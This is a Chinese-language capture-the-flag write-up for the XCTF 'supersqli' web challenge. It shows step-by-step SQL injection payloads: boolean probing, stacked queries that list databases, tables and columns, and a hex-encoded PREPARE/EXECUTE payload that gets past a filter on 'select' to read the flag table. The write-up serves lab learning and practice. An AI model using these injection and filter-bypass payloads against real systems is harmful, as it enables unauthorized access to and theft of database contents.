xctf-web(高手進階區)-supersqli

丶沒鬍子的貓發表於2020-11-15

xctf:https://adworld.xctf.org.cn/


輸入單引號,發現報錯

在這裡插入圖片描述
返回正常:

/?inject=1' and 1=1--+

在這裡插入圖片描述

報錯:

/?inject=1' and 1=2--+

在這裡插入圖片描述
order by 3 報錯,order by 2正常

?inject=1' order by 2--+

在這裡插入圖片描述

利用select 去檢視的出現正則匹配,不允許使用以下字元

在這裡插入圖片描述

可以使用堆疊注入的方式,檢視當前資料庫

?inject=1';show databases;--+

在這裡插入圖片描述
檢視當前表:

/?inject=1';show tables;--+

在這裡插入圖片描述
檢視words表的欄位,發現沒有flag:

/?inject=111';show columns from words;--+

在這裡插入圖片描述

再檢視1919810931114514表中的欄位,你會發現,直接使用show是檢視不了的
在這裡插入圖片描述

原因:

  1. 表名或者欄位有和mysql關鍵字或保留字相同的就必須使用反引號加以區分
  2. 表名如果是純數字,那麼必須用反引號

所以我們加上反引號對純數字的表進行檢視,發現flag欄位:

/?inject=111';show columns from `1919810931114514`;--+

在這裡插入圖片描述

查詢flag思路:

我們不能直接使用select進行檢視flag,但可以利用一個叫動態查詢語句的方法進行檢視。動態查詢也是需要用到select語句,但我們可以將sql語句轉換成16進位制,mysql會自動識別16進位制並進行轉化,存入一個sql語句變數中,再使用execute執行sql語句。

如果不理解動態查詢語句的小夥伴可以先學習一下動態查詢的用法:
MYSQL 動態查詢結果
mysql 實現 mssql exec 動態查詢語句

我們將sql語句轉換成16進位制:

在這裡插入圖片描述

payload:

/?inject=1';SeT@sql=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @sql;execute execsql;#
  • set@a:設定一個語句變數
  • prepare : 儲存一個sql語句 存到execsql 裡面
  • execute :執行一個sql語句

在這裡插入圖片描述

相關文章